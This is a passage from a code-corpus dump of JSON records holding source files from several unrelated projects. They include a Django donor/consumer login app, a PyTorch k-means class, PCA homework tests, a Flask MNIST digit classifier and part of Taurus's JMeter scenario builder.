models.BooleanField(default=False)),\n ],\n options={\n 'abstract': False,\n },\n ),\n ]\n", "id": "10409297", "language": "Python", "matching_score": 2.620884656906128, "max_stars_count": 2, "path": "Donor_Login_Register/migrations/0001_initial.py" }, { "content": "from django.apps import AppConfig\n\n\nclass MappingConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'mapping'\n", "id": "1489257", "language": "Python", "matching_score": 0.9417676329612732, "max_stars_count": 2, "path": "mapping/apps.py" }, { "content": "# Generated by Django 4.0.2 on 2022-02-10 23:45\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('Consumer_Login_Register', '0002_alter_consumer_no_individuals'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='consumer',\n name='Twitter',\n field=models.CharField(max_length=300, null=True, verbose_name='Twitter'),\n ),\n migrations.AlterField(\n model_name='consumer',\n name='Website',\n field=models.CharField(max_length=300, null=True, verbose_name='Website'),\n ),\n migrations.AlterField(\n model_name='consumer',\n name='facebook',\n field=models.CharField(max_length=300, null=True, verbose_name='facebook'),\n ),\n ]\n", "id": "2305507", "language": "Python", "matching_score": 3.939443588256836, "max_stars_count": 2, "path": "Consumer_Login_Register/migrations/0003_alter_consumer_twitter_alter_consumer_website_and_more.py" }, { "content": "# Generated by Django 3.2.9 on 2022-02-10 13:44\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('Consumer_Login_Register', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='consumer',\n name='no_individuals',\n field=models.IntegerField(),\n ),\n ]\n", "id": "599477", "language": "Python", "matching_score": 1.764739751815796, "max_stars_count": 2, "path": "Consumer_Login_Register/migrations/0002_alter_consumer_no_individuals.py" }, { "content": "\nfrom django.urls import path, re_path\nfrom . import views\n\napp_name = 'Consumer_Login_Register'\n\nurlpatterns = [\n path('login/', views.ConsumerLoginPage, name = \"login\"),\n path('logout/', views.ConsumerLogoutUser, name = \"logout\"),\n path('register/', views.ConsumerRegisterUser, name = \"register\"),\n path('', views.home, name = \"home\"),\n]", "id": "2095347", "language": "Python", "matching_score": 4.028266906738281, "max_stars_count": 2, "path": "Consumer_Login_Register/urls.py" }, { "content": "\n\nfrom django.urls import path, re_path\nfrom . import views\n\nurlpatterns = [\n path('login/', views.LoginPage, name = \"login\"),\n path('logout/', views.LogoutUser, name = \"logout\"),\n path('register/', views.RegisterUser, name = \"register\"),\n path('', views.home, name = \"home\"),\n \n]", "id": "2744972", "language": "Python", "matching_score": 0.19351935386657715, "max_stars_count": 2, "path": "Donor_Login_Register/urls.py" }, { "content": "from django.forms import ModelForm\nfrom .models import Consumer\nfrom django.contrib.auth.forms import UserCreationForm\n\nclass SingUPForm(UserCreationForm):\n class Meta:\n model = Consumer\n fields = ['Full_name','email','phone_number','Organization','location','category','facebook','Twitter','Website','no_individuals','<PASSWORD>','<PASSWORD>']", "id": "1528982", "language": "Python", "matching_score": 4.98706579208374, "max_stars_count": 2, "path": "Consumer_Login_Register/forms.py" }, { "content": "from django.forms import ModelForm\nfrom .models import Donor\nfrom django.contrib.auth.forms import UserCreationForm\n\nclass SingUPForm(UserCreationForm):\n class Meta:\n model = Donor\n fields = ['Full_name','email','phone_number','Organization','location','<PASSWORD>','<PASSWORD>']", "id": "11110909", "language": "Python", "matching_score": 2.6335699558258057, "max_stars_count": 2, "path": "Donor_Login_Register/forms.py" }, { "content": "import email\nfrom django.shortcuts import render, redirect\nfrom .forms import SingUPForm\nfrom django.db.models import Q\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import authenticate,login ,logout\nfrom django.http import HttpResponse\nfrom django.contrib.auth.forms import UserCreationForm\n\n# Create your views here.\n\nfrom .models import Donor\n\n\ndef LoginPage(request):\n page = 'login'\n if request.user.is_authenticated:\n return redirect('home')\n\n if request.method == 'POST':\n email = request.POST.get('email')\n password = request.POST.get('password')\n\n try: \n user = Donor.objects.get(email=email)\n\n except:\n messages.error(request, 'User does not exist')\n\n user = authenticate(request, email=email, password = password)\n if user is not None:\n login(request, user)\n return redirect('home')\n\n else:\n messages.error(request, 'User or password is incorrect')\n\n context = {'page': page}\n\n return render(request, 'login_register.html', context)\ndef LogoutUser(request):\n\n logout(request)\n return redirect('home')\ndef RegisterUser(request):\n form = SingUPForm()\n if request.method == \"POST\":\n form = SingUPForm(request.POST)\n if form.is_valid():\n user = form.save(commit = False)\n user.email = user.email.lower()\n user.save()\n login(request, user)\n return redirect('home')\n else:\n messages.error(request, \" Error \") \n\n return render(request, 'login_register.html',{'form': form})\n \n\ndef home(request):\n\n return render(request, 'home.html')\n ", "id": "5745985", "language": "Python", "matching_score": 1.4066925048828125, "max_stars_count": 2, "path": "Donor_Login_Register/views.py" }, { "content": "from django.shortcuts import render\nfrom django.views.generic.base import TemplateView\n\n\n# Create your views here.\nclass DonationTracking(TemplateView):\n template_name = 'map.html'\n", "id": "3450058", "language": "Python", "matching_score": 0.30053821206092834, "max_stars_count": 2, "path": "mapping/views.py" } ]
1.948759
Strizzo
[ { "content": "import torch\n\nclass KMeansMM:\n def __init__(self, n_clusters=10, l=2, max_iter=1000, tol=0.0001, device = 'cuda'):\n self.k = n_clusters\n self.l = l\n self.device = torch.device(device)\n self.centroids = None\n self.max_iter = max_iter\n self.tol = tol\n \n def euclidean(self,X,centroids):\n return ((X[:,None,:] - centroids[None,:,:]) ** 2).sum(dim=-1)\n \n def fit(self, X):\n X = X.to(self.device)\n #initialize centroids as random points from X\n perm = torch.randperm(X.shape[0])\n idx = perm[:self.k]\n centroids = X[idx,:]\n previous_state = centroids.clone()\n \n for i in range(self.max_iter):\n #Compute distances between points and centroids\n distances = self.euclidean(X,centroids)\n \n #Select closest centroid for each point\n mins = distances.min(dim=1)\n labels = mins[1] #argmin\n mindists = mins[0] #min\n \n L = torch.topk(mindists,k=self.l)[1] #take l points with largest distance from centroids\n labels[L] = -1 #remove outliers from the assigned cluster (assign special cluster/label -1)\n \n #Compute new centroids\n for cl in range(self.k):\n centroids[cl] = X[labels == cl,:].mean(dim=0)\n \n #Check for convergence\n centroids_shift = ((previous_state - centroids) ** 2).sum(dim=1).sqrt().sum()\n if centroids_shift < self.tol:\n break\n \n self.centroids = centroids\n \n return self\n\n def predict(self, X):\n X = X.to(self.device)\n distances = self.euclidean(X,self.centroids)\n mins = distances.min(dim=1)\n labels = mins[1] #argmin\n mindists = mins[0] #min\n\n L = torch.topk(mindists,k=self.l)[1] #take l points with largest distance from centroids\n labels[L] = -1 #remove outliers from the assigned cluster\n return labels\n \n def fit_predict(self, X):\n X = X.to(self.device)\n self.fit(X)\n return self.predict(X)", "id": "1776406", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "kmeansmm.py" } ]
0
JesusVazquez-Code
[ { "content": "__author__ = 'cs540-testers'\n__credits__ = ['<NAME>', '<NAME>', '<NAME>','<NAME>','<NAME>']\nversion = 'v0.2.2-modifiedSpring2022'\n\nimport sys\nimport unittest\nimport numpy as np\nfrom hw3 import load_and_center_dataset, get_covariance, get_eig, \\\n\t\tget_eig_prop, project_image, display_image\n\ndata_path = 'YaleB_32x32.npy'\n\nclass TestLoadAndCenterDataset(unittest.TestCase):\n\tdef test_load(self):\n\t\tx = load_and_center_dataset(data_path)\n\n\t\t# The dataset needs to have the correct shape\n\t\tself.assertEqual(np.shape(x), (2414, 1024))\n\n\t\t# The dataset should not be constant-valued\n\t\tself.assertNotAlmostEqual(np.max(x) - np.min(x), 0)\n\n\tdef test_center(self):\n\t\tx = load_and_center_dataset(data_path)\n\n\t\t# Each coordinate of our dataset should average to 0\n\t\tfor i in range(np.shape(x)[1]):\n\t\t\tself.assertAlmostEqual(np.sum(x[:, i]), 0)\n\nclass TestGetCovariance(unittest.TestCase):\n\tdef test_shape(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\n\t\t# S should be square and have side length d\n\t\tself.assertEqual(np.shape(S), (1024, 1024))\n\n\tdef test_values(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\n\t\t# S should be symmetric\n\t\tself.assertTrue(np.all(np.isclose(S, S.T)))\n\n\t\t# S should have non-negative values on the diagonal\n\t\tself.assertTrue(np.min(np.diagonal(S)) >= 0)\n\nclass TestGetEig(unittest.TestCase):\n\tdef test_small(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\tLambda, U = get_eig(S, 2)\n\n\t\tself.assertEqual(np.shape(Lambda), (2, 2))\n\t\tself.assertTrue(np.all(np.isclose(\n\t\t\t\tLambda, [[1369142.41612494, 0], [0, 1341168.50476773]])))\n\n\t\t# The eigenvectors should be the columns\n\t\tself.assertEqual(np.shape(U), (1024, 2))\n\t\tself.assertTrue(np.all(np.isclose(S @ U, U @ Lambda)))\n\n\tdef test_large(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\tLambda, U = get_eig(S, 1024)\n\n\t\tself.assertEqual(np.shape(Lambda), (1024, 1024))\n\t\t# Check that Lambda is diagonal\n\t\tself.assertEqual(np.count_nonzero(\n\t\t\t\tLambda - np.diag(np.diagonal(Lambda))), 0)\n\t\t# Check that Lambda is sorted in decreasing order\n\t\tself.assertTrue(np.all(np.equal(np.diagonal(Lambda),\n\t\t\t\tsorted(np.diagonal(Lambda), reverse=True))))\n\n\t\t# The eigenvectors should be the columns\n\t\tself.assertEqual(np.shape(U), (1024, 1024))\n\t\tself.assertTrue(np.all(np.isclose(S @ U, U @ Lambda)))\n\nclass TestGetEigProp(unittest.TestCase):\n\tdef test_small(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\tLambda, U = get_eig_prop(S,0.07)\n\n\t\tself.assertEqual(np.shape(Lambda), (2, 2))\n\t\tself.assertTrue(np.all(np.isclose(\n\t\t\t\tLambda, [[1369142.41612494, 0], [0, 1341168.50476773]])))\n\n\t\t# The eigenvectors should be the columns\n\t\tself.assertEqual(np.shape(U), (1024, 2))\n\t\tself.assertTrue(np.all(np.isclose(S @ U, U @ Lambda)))\n\n\tdef test_large(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\t# This will select all eigenvalues/eigenvectors\n\t\tLambda, U = get_eig_prop(S, -1)\n\n\t\tself.assertEqual(np.shape(Lambda), (1024, 1024))\n\t\t# Check that Lambda is diagonal\n\t\tself.assertEqual(np.count_nonzero(\n\t\t\t\tLambda - np.diag(np.diagonal(Lambda))), 0)\n\t\t# Check that Lambda is sorted in decreasing order\n\t\tself.assertTrue(np.all(np.equal(np.diagonal(Lambda),\n\t\t\t\tsorted(np.diagonal(Lambda), reverse=True))))\n\n\t\t# The eigenvectors should be the columns\n\t\tself.assertEqual(np.shape(U), (1024, 1024))\n\t\tself.assertTrue(np.all(np.isclose(S @ U, U @ Lambda)))\n\nclass TestProjectImage(unittest.TestCase):\n\tdef test_shape_orig(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\t_, U = get_eig(S, 2)\n\t\t# This is the image of the \"9\" in the spec\n\t\tprojected = project_image(x[0], U)\n\n\t\tself.assertEqual(np.shape(projected), (1024,))\n\t\tself.assertAlmostEqual(np.min(projected), 0.27875793275517147)\n\t\tself.assertAlmostEqual(np.max(projected), 93.22417310945808)\n \n\tdef test_shape_with_two_eig_values(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\t_, U = get_eig(S, 2)\n\t\t# This is the image of the \"9\" in the spec\n\t\tprojected = project_image(x[3], U)\n\n\t\tself.assertEqual(np.shape(projected), (1024,))\n\t\tself.assertAlmostEqual(np.min(projected), -102.98135151709695)\n\t\tself.assertAlmostEqual(np.max(projected), -2.9426401819431263)\n \n # Project_image will be tested with more than 2 eigen values\n\tdef test_shape_with_five_eig_values(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\t_, U = get_eig(S, 5)\n\t\tprojected = project_image(x[3], U)\n\n\t\tself.assertEqual(np.shape(projected), (1024,))\n\t\tself.assertAlmostEqual(np.min(projected), -25.154139468874448)\n\t\tself.assertAlmostEqual(np.max(projected), 17.02338010385981)\n\n\tdef test_shape_with_ten_eig_values(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\t_, U = get_eig(S, 10)\n\t\tprojected = project_image(x[3], U)\n\n\t\tself.assertEqual(np.shape(projected), (1024,))\n\t\tself.assertAlmostEqual(np.min(projected), -26.8175300968181)\n\t\tself.assertAlmostEqual(np.max(projected), 44.9530102615709)\n\t\n\tdef test_shape_with_eig_values_prop(self):\n\t\tx = load_and_center_dataset(data_path)\n\t\tS = get_covariance(x)\n\t\t_, U = get_eig_prop(S,0.02)\n\t\tprojected = project_image(x[3], U)\n\n\t\tself.assertEqual(np.shape(projected), (1024,))\n\t\tself.assertAlmostEqual(np.min(projected), -43.78744107453002)\n\t\tself.assertAlmostEqual(np.max(projected), 42.70786536248303)\n \nif __name__ == '__main__':\n\t# Hack to allow different locations of YaleB_32x32.npy (\n # done this way to allow unittest's flags to still \n # be passed, if desired)\n\tif '--data-path' in sys.argv:\n\t\tpath_index = sys.argv.index('--data-path') + 1\n\t\tif path_index == len(sys.argv):\n\t\t\tprint('Error: must supply path after option --data-path')\n\t\t\tsys.exit(1)\n\t\tdata_path = sys.argv[path_index]\n\t\tdel(sys.argv[path_index])\n\t\tdel(sys.argv[path_index - 1])\n\n\tprint('Homework 5 Tester Version', version)\n\n\tunittest.main(argv=sys.argv)\n", "id": "9390108", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "test.py" } ]
0
other-things
[ { "content": "import os\r\nfrom flask import Flask, request, redirect, url_for, render_template, send_from_directory\r\nfrom werkzeug.utils import secure_filename\r\nfrom tensorflow_model.predict import predict_image as model_predict \r\nimport json\r\n\r\n\r\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg'])\r\nUPLOAD_FOLDER = 'upload_files'\r\n\r\napp = Flask(__name__)\r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\n\r\n\r\ndef allowed_file(filename):\r\n return '.' in filename and \\\r\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef upload_file():\r\n if request.method == 'POST':\r\n # check if the post request has the file part\r\n if 'file' not in request.files:\r\n return redirect('/error')\r\n file = request.files['file']\r\n\r\n # if user does not select file, browser also\r\n # submit a empty part without filename\r\n if file.filename == '':\r\n return redirect('/error')\r\n\r\n if file and allowed_file(file.filename):\r\n filename = secure_filename(file.filename)\r\n\r\n file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\r\n\r\n image_pred, confidence = model_predict(file)\r\n messages = {\r\n 'file': 'uploads/' + filename,\r\n 'image_pred': str(image_pred),\r\n 'confidence': str(confidence)\r\n }\r\n \r\n messages = json.dumps(messages)\r\n return redirect(url_for('file_predict', messages=messages))\r\n else:\r\n return redirect('/error')\r\n\r\n return render_template('index.html')\r\n\r\n\r\n@app.route('/uploads/<filename>')\r\ndef send_file(filename):\r\n return send_from_directory(UPLOAD_FOLDER, filename)\r\n\r\n\r\n@app.route('/predict')\r\ndef file_predict():\r\n messages = request.args['messages']\r\n messages = json.loads(messages)\r\n\r\n\r\n return render_template('predict.html', predicted_value=messages['image_pred'], \r\n predicted_confidence=messages['confidence'],\r\n image=messages['file'])\r\n\r\n\r\n\r\n@app.errorhandler(Exception)\r\ndef handle_error(e):\r\n return render_template('error.html')\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(port=5002, debug=True)", "id": "1304685", "language": "Python", "matching_score": 1.7959930896759033, "max_stars_count": 0, "path": "app.py" }, { "content": "import tensorflow as tf\r\nfrom PIL import Image\r\nimport numpy as np\r\n\r\n\r\nimage_size = (28, 28)\r\n\r\n\r\n# load model\r\nmodel = tf.keras.models.load_model('tensorflow_model/mnist_ann_model.h5')\r\n\r\ngraph = tf.get_default_graph()\r\n\r\n\r\ndef predict_image(test_image):\r\n\t# load test image, resize and normalize it\r\n\timg = Image.open(test_image)\r\n\timg.thumbnail(image_size, Image.ANTIALIAS)\r\n\timg = img.convert('L')\r\n\timage_data = np.asarray(img, dtype=np.float32)\r\n\timage_data = image_data / 255\r\n\timage_data_test = image_data.reshape((1, image_size[0], image_size[1]))\r\n\r\n\tglobal graph\r\n\twith graph.as_default():\r\n\r\n\t\t# predit the output \r\n\t\tclasses = model.predict(image_data_test)\r\n\t\timage_pred = str(np.argmax(classes))\r\n\t\tconfidence = round(classes[0][np.argmax(classes)], 2) * 100\r\n\t\tprint(image_pred, confidence)\r\n\t\r\n\t\treturn image_pred, confidence\r\n\r\n\r\n# test with dummy image\r\nif __name__ == '__main__':\r\n\tpredict_image('tensorflow_model/seven.png')", "id": "9163395", "language": "Python", "matching_score": 1.8480464220046997, "max_stars_count": 0, "path": "tensorflow_model/predict.py" }, { "content": "import tensorflow as tf\r\n\r\n\r\n# Load dataset\r\nmnist = tf.keras.datasets.mnist\r\n\r\n(x_train, y_train),(x_test, y_test) = mnist.load_data()\r\n\r\n# Normalize input features\r\nx_train, x_test = x_train / 255.0, x_test / 255.0\r\n\r\n\r\n# Create and fit DL model\r\nmodel = tf.keras.models.Sequential([\r\n tf.keras.layers.Flatten(input_shape=x_train[0].shape),\r\n tf.keras.layers.Dense(512, activation=tf.nn.relu),\r\n tf.keras.layers.Dropout(0.2),\r\n tf.keras.layers.Dense(10, activation=tf.nn.softmax)\r\n])\r\nmodel.compile(optimizer='adam',\r\n loss='sparse_categorical_crossentropy',\r\n metrics=['accuracy'])\r\n\r\nmodel.fit(x_train, y_train, epochs=5)\r\nmodel.evaluate(x_test, y_test)\r\n\r\n\r\n# Save entire model to a HDF5 file\r\nmodel.save('mnist_ann_model.h5')", "id": "4603784", "language": "Python", "matching_score": 0.9387590885162354, "max_stars_count": 0, "path": "tensorflow_model/train-mnist.py" } ]
1.795993
dreading
[ { "content": "\"\"\"\nModule holds JMX handlers implementations\n\nCopyright 2017 BlazeMeter Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport os\nimport traceback\nfrom distutils.version import LooseVersion\n\nfrom bzt import TaurusInternalException, TaurusConfigError\nfrom bzt.engine import Scenario\nfrom bzt.jmx import JMX\nfrom bzt.jmx.threadgroups import ThreadGroup, ConcurrencyThreadGroup, ThreadGroupHandler\nfrom bzt.requests_model import RequestVisitor, has_variable_pattern, HierarchicRequestParser\nfrom bzt.six import etree, iteritems, numeric_types\nfrom bzt.utils import BetterDict, dehumanize_time, ensure_is_dict, guess_csv_dialect, load_class\n\n\nclass RequestCompiler(RequestVisitor):\n def __init__(self, jmx_builder):\n super(RequestCompiler, self).__init__()\n self.jmx_builder = jmx_builder\n\n def visit_hierarchichttprequest(self, request):\n return self.jmx_builder.compile_request(request)\n\n def visit_ifblock(self, block):\n return self.jmx_builder.compile_if_block(block)\n\n def visit_onceblock(self, block):\n return self.jmx_builder.compile_once_block(block)\n\n def visit_loopblock(self, block):\n return self.jmx_builder.compile_loop_block(block)\n\n def visit_whileblock(self, block):\n return self.jmx_builder.compile_while_block(block)\n\n def visit_foreachblock(self, block):\n return self.jmx_builder.compile_foreach_block(block)\n\n def visit_transactionblock(self, block):\n return self.jmx_builder.compile_transaction_block(block)\n\n def visit_includescenarioblock(self, block):\n scenario_name = block.scenario_name\n if scenario_name in self.path:\n msg = \"Mutual recursion detected in include-scenario blocks (scenario %s)\"\n raise TaurusConfigError(msg % scenario_name)\n self.record_path(scenario_name)\n return self.jmx_builder.compile_include_scenario_block(block)\n\n def visit_actionblock(self, block):\n return self.jmx_builder.compile_action_block(block)\n\n def visit_setvariables(self, block):\n return self.jmx_builder.compile_set_variables_block(block)\n\n\nclass LoadSettingsProcessor(object):\n TG = ThreadGroup.__name__\n CTG = ConcurrencyThreadGroup.__name__\n\n def __init__(self, executor):\n self.log = executor.log.getChild(self.__class__.__name__)\n self.load = executor.get_specific_load()\n self.tg = self._detect_thread_group(executor)\n self.tg_handler = ThreadGroupHandler(self.log)\n\n def _detect_thread_group(self, executor):\n \"\"\"\n Detect preferred thread group\n :param executor:\n :return:\n \"\"\"\n tg = self.TG\n if not executor.settings.get('force-ctg', True):\n return tg\n\n msg = 'Thread group detection: %s, regular ThreadGroup will be used'\n\n if not self.load.duration:\n self.log.debug(msg, 'duration not found')\n elif self.load.iterations:\n self.log.debug(msg, 'iterations are found')\n elif not executor.tool:\n msg = 'You must set executor tool (%s) for choosing of ConcurrencyThreadGroup'\n raise TaurusInternalException(msg % executor.tool_name)\n elif not executor.tool.ctg_plugin_installed():\n self.log.warning(msg % 'plugin for ConcurrentThreadGroup not found')\n else:\n tg = self.CTG\n\n return tg\n\n def modify(self, jmx):\n if not (self.load.iterations or self.load.concurrency or self.load.duration):\n self.log.debug('No iterations/concurrency/duration found, thread group modification is skipped')\n return\n\n # IMPORTANT: fix groups order as changing of element type changes order of getting of groups\n groups = list(self.tg_handler.groups(jmx))\n\n if self.load.concurrency and not isinstance(self.load.concurrency, numeric_types): # property found\n for group in groups:\n self.tg_handler.convert(group=group, target=self.tg, load=self.load, concurrency=self.load.concurrency)\n else:\n target_list = zip(groups, self._get_concurrencies(groups))\n\n for group, concurrency in target_list:\n self.tg_handler.convert(group=group, target=self.tg, load=self.load, concurrency=concurrency)\n\n if self.load.throughput:\n self._add_shaper(jmx)\n\n if self.load.steps and self.tg == self.TG:\n self.log.warning(\"Stepping ramp-up isn't supported for regular ThreadGroup\")\n\n def _get_concurrencies(self, groups):\n \"\"\"\n Collect concurrency values and\n calculate target concurrency for every thread group\n \"\"\"\n concurrency_list = []\n for group in groups:\n concurrency_list.append(group.get_concurrency())\n\n if concurrency_list and self.load.concurrency:\n total_old_concurrency = sum(concurrency_list) # t_o_c != 0 because of logic of group.get_concurrency()\n\n for idx, concurrency in enumerate(concurrency_list):\n part_of_load = 1.0 * self.load.concurrency * concurrency / total_old_concurrency\n if part_of_load < 1:\n concurrency_list[idx] = 1\n else:\n concurrency_list[idx] = int(round(part_of_load))\n\n total_new_concurrency = sum(concurrency_list)\n leftover = self.load.concurrency - total_new_concurrency\n if leftover < 0:\n msg = \"Had to add %s more threads to maintain thread group proportion\"\n self.log.warning(msg, -leftover)\n elif leftover > 0:\n msg = \"%s threads left undistributed due to thread group proportion\"\n self.log.warning(msg, leftover)\n return concurrency_list\n\n def _add_shaper(self, jmx):\n \"\"\"\n Add shaper\n :param jmx: JMX\n :return:\n \"\"\"\n if not self.load.duration:\n self.log.warning(\"You must set 'ramp-up' and/or 'hold-for' when using 'throughput' option\")\n return\n\n etree_shaper = jmx.get_rps_shaper()\n if self.load.ramp_up:\n if isinstance(self.load.throughput, numeric_types) and self.load.duration:\n start_rps = self.load.throughput / float(self.load.duration)\n else:\n start_rps = 1\n jmx.add_rps_shaper_schedule(etree_shaper, start_rps, self.load.throughput, self.load.ramp_up)\n\n if self.load.hold:\n jmx.add_rps_shaper_schedule(etree_shaper, self.load.throughput, self.load.throughput, self.load.hold)\n\n jmx.append(JMeterScenarioBuilder.TEST_PLAN_SEL, etree_shaper)\n jmx.append(JMeterScenarioBuilder.TEST_PLAN_SEL, etree.Element(\"hashTree\"))\n\n\nclass ProtocolHandler(object):\n\n def __init__(self, sys_props):\n super(ProtocolHandler, self).__init__()\n self.system_props = sys_props\n\n def get_toplevel_elements(self, scenario):\n return []\n\n def get_sampler_pair(self, scenario, request):\n return None, None\n\n @staticmethod\n def safe_time(any_time):\n try:\n smart_time = int(1000 * dehumanize_time(any_time))\n except TaurusInternalException:\n smart_time = any_time\n\n return smart_time\n\n\nclass JMeterScenarioBuilder(JMX):\n \"\"\"\n Helper to build JMeter test plan from Scenario\n\n :type protocol_handlers: dict[str,ProtocolHandler]\n \"\"\"\n\n def __init__(self, executor, original=None):\n \"\"\"\n :type executor: ScenarioExecutor\n :type original: JMX\n \"\"\"\n super(JMeterScenarioBuilder, self).__init__(original)\n self.executor = executor\n self.scenario = executor.get_scenario()\n self.engine = executor.engine\n self.system_props = BetterDict()\n self.request_compiler = None\n self.default_protocol = self.executor.settings.get('default-protocol', 'http')\n self.protocol_handlers = {}\n for protocol, cls_name in iteritems(self.executor.settings.get(\"protocol-handlers\")):\n cls_obj = load_class(cls_name)\n instance = cls_obj(self.system_props)\n self.protocol_handlers[protocol] = instance\n\n def __add_think_time(self, children, req):\n think_time = req.priority_option('think-time')\n if think_time is not None:\n children.append(JMX._get_constant_timer(ProtocolHandler.safe_time(think_time)))\n children.append(etree.Element(\"hashTree\"))\n\n def __add_extractors(self, children, req):\n self.__add_boundary_ext(children, req)\n self.__add_regexp_ext(children, req)\n self.__add_json_ext(children, req)\n self.__add_jquery_ext(children, req)\n self.__add_xpath_ext(children, req)\n\n def __add_boundary_ext(self, children, req):\n extractors = req.config.get(\"extract-boundary\")\n for varname, cfg in iteritems(extractors):\n subj = cfg.get('subject', 'body')\n left = cfg.get('left', TaurusConfigError(\"Left boundary is missing for boundary extractor %s\" % varname))\n right = cfg.get('right', TaurusConfigError(\"Right boundary is missing for boundary extractor %s\" % varname))\n match_no = cfg.get('match-no', 1)\n defvalue = cfg.get('default', 'NOT_FOUND')\n scope = cfg.get(\"scope\", None)\n from_var = cfg.get(\"from-variable\", None)\n extractor = JMX._get_boundary_extractor(varname, subj, left, right, match_no, defvalue, scope, from_var)\n children.append(extractor)\n children.append(etree.Element(\"hashTree\"))\n\n def __add_regexp_ext(self, children, req):\n extractors = req.config.get(\"extract-regexp\")\n for varname in extractors:\n cfg = ensure_is_dict(extractors, varname, \"regexp\")\n scope = cfg.get(\"scope\", None)\n from_var = cfg.get(\"from-variable\", None)\n\n extractor = JMX._get_extractor(varname, cfg.get('subject', 'body'), cfg['regexp'], cfg.get('template', 1),\n cfg.get('match-no', 1), cfg.get('default', 'NOT_FOUND'), scope, from_var)\n children.append(extractor)\n children.append(etree.Element(\"hashTree\"))\n\n def __add_json_ext(self, children, req):\n jextractors = req.config.get(\"extract-jsonpath\")\n for varname in jextractors:\n cfg = ensure_is_dict(jextractors, varname, \"jsonpath\")\n if LooseVersion(str(self.executor.settings.get(\"version\"))) < LooseVersion(\"3.0\"):\n extractor = JMX._get_json_extractor(varname,\n cfg[\"jsonpath\"],\n cfg.get(\"default\", \"NOT_FOUND\"),\n cfg.get(\"from-variable\", None))\n else:\n extractor = JMX._get_internal_json_extractor(varname,\n cfg[\"jsonpath\"],\n cfg.get(\"default\", \"NOT_FOUND\"),\n cfg.get(\"scope\", None),\n cfg.get(\"from-variable\", None),\n cfg.get(\"match-no\", \"0\"),\n cfg.get(\"concat\", False))\n\n children.append(extractor)\n children.append(etree.Element(\"hashTree\"))\n\n def __add_jquery_ext(self, children, req):\n css_jquery_extors = req.config.get(\"extract-css-jquery\")\n for varname in css_jquery_extors:\n cfg = ensure_is_dict(css_jquery_extors, varname, \"expression\")\n extractor = self._get_jquerycss_extractor(varname,\n cfg['expression'],\n cfg.get('attribute', \"\"),\n cfg.get('match-no', 0),\n cfg.get('default', 'NOT_FOUND'),\n cfg.get(\"scope\", None),\n cfg.get(\"from-variable\", None))\n children.append(extractor)\n children.append(etree.Element(\"hashTree\"))\n\n def __add_xpath_ext(self, children, req):\n xpath_extractors = req.config.get(\"extract-xpath\")\n for varname in xpath_extractors:\n cfg = ensure_is_dict(xpath_extractors, varname, \"xpath\")\n children.append(JMX._get_xpath_extractor(varname,\n cfg['xpath'],\n cfg.get('default', 'NOT_FOUND'),\n cfg.get('validate-xml', False),\n cfg.get('ignore-whitespace', True),\n cfg.get(\"match-no\", \"-1\"),\n cfg.get('use-namespaces', False),\n cfg.get('use-tolerant-parser', False),\n cfg.get(\"scope\", None),\n cfg.get(\"from-variable\", None)))\n children.append(etree.Element(\"hashTree\"))\n\n @staticmethod\n def __add_assertions(children, req):\n assertions = req.config.get(\"assert\", [])\n for idx, assertion in enumerate(assertions):\n assertion = ensure_is_dict(assertions, idx, \"contains\")\n if not isinstance(assertion['contains'], list):\n assertion['contains'] = [assertion['contains']]\n children.append(JMX._get_resp_assertion(assertion.get(\"subject\", Scenario.FIELD_BODY),\n assertion['contains'],\n assertion.get('regexp', True),\n assertion.get('not', False),\n assertion.get('assume-success', False)))\n children.append(etree.Element(\"hashTree\"))\n\n jpath_assertions = req.config.get(\"assert-jsonpath\", [])\n for idx, assertion in enumerate(jpath_assertions):\n assertion = ensure_is_dict(jpath_assertions, idx, \"jsonpath\")\n\n exc = TaurusConfigError('JSON Path not found in assertion: %s' % assertion)\n component = JMX._get_json_path_assertion(assertion.get('jsonpath', exc),\n assertion.get('expected-value', ''),\n assertion.get('validate', False),\n assertion.get('expect-null', False),\n assertion.get('invert', False),\n assertion.get('regexp', True))\n children.append(component)\n children.append(etree.Element(\"hashTree\"))\n\n xpath_assertions = req.config.get(\"assert-xpath\", [])\n for idx, assertion in enumerate(xpath_assertions):\n assertion = ensure_is_dict(xpath_assertions, idx, \"xpath\")\n\n exc = TaurusConfigError('XPath not found in assertion: %s' % assertion)\n component = JMX._get_xpath_assertion(assertion.get('xpath', exc),\n assertion.get('validate-xml', False),\n 